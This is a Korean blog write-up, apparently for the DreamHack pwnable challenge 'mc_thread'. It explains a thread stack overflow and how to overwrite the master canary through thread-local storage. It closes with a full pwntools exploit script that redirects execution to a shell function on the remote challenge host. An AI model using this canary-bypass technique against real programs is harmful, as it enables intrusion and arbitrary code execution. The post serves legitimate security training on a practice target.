보호기법

c코드를 분석해보자

- pthread_create 함수를 통해 스레드를 생성하여 thread_routine을 실행
- pthread_create 함수에서는 size에 8을 곱한 만큼 256바이트 버퍼에 값을 입력할 수 있으므로 스택 버퍼 오버플로우 발생

read_bytes 함수로 [rbp-0x110] 위치에 입력받음
브레이크포인트 걸어서 학인한 rbp-0x110 주소가 스택 버퍼 주소
fs_base+0x28로 마스터 카나리가 위치한 주소를 알아낸 후 스택버퍼주소와 빼서 둘 사이의 간격을 알아내자

0x928
마스터카나리변조시도해보자
스택 버퍼 주소와 마스터 카나리의 간격이 0x928 바이트이므로, 0x928 바이트 패딩과 임의의 8 바이트 값을 입력하면 마스터 카나리를 원하는 값으로 조작할 수 있음
그리고 리턴 주소를 giveshell로 조작하면 됨
그러나 SIGEGV빌생 ..
rax에 fs:0x10의 값을 담아서 [rax+0x972] 주소에 값을 쓰려했는데, 유효하지 않은 메모리 주소로 인해 SIGSEGV 발생
=> fs:0x10 위치의 8바이트에 유효한 주소값을 넣어주자

=> 0x404000-0x405000 영역을 사용가능
익스플로잇 작성
from pwn import *
p = remote("host3.dreamhack.games",11060)
e= ELF('./mc_thread')
giveshell = 0x401256
valid_addr = 0x404f80-0x972 # valid address for fs:0x10 + 0x972
payload = b'A'*0x108 + b'CANARY!!' # buf + DUMMY 8B + Canary
payload += b'B'*0x8 + p64(giveshell)
payload += p64(valid_addr) * 257
payload += b'CANARY!!'
payload += b'AAAAAAAA' * 75 # 71-92 에서 exploit 됨
bufsize = len(payload)//8
p.sendlineafter("Size: ", str(bufsize))
p.sendafter("Data: ", payload)
p.interactive()
'CTF > Pwnable' 카테고리의 다른 글
| [DreamHack] binary_fix_tool Write-up (0) | 2024.03.24 |
|---|---|
| [DreamHack] cpp_type_confusion Write-up (0) | 2024.03.24 |
| [DreamHack] Bypass SECCOMP-1 Write-up (0) | 2024.03.23 |
| [DreamHack] rop Write-up (0) | 2024.03.16 |
| [DreamHack] ssp_001 Write-up (0) | 2024.03.10 |